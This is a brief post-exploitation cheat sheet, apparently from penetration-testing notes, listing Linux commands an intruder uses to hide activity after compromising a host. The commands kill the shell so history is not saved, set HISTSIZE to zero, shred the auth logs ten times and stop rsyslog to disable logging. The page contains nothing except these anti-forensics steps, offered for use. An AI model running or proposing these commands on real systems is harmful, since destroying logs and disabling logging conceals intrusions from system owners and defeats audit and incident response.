Post Exploitation

Ok, now what do we do??

Kill shell without saving history file

kill -9 $$        # The $$ var always returns the PID of running shell
HISTSIZE=0        # Prevent system from storing any entered commands
PATH=$PATH:/root/newhackingtool    # Adds new folder to path, preserves existing path
shred -f -n 10 /var/log/auth.log.*    # shread all auth logs ten times :)
service rsyslog stop    # disable all system logging

Last updated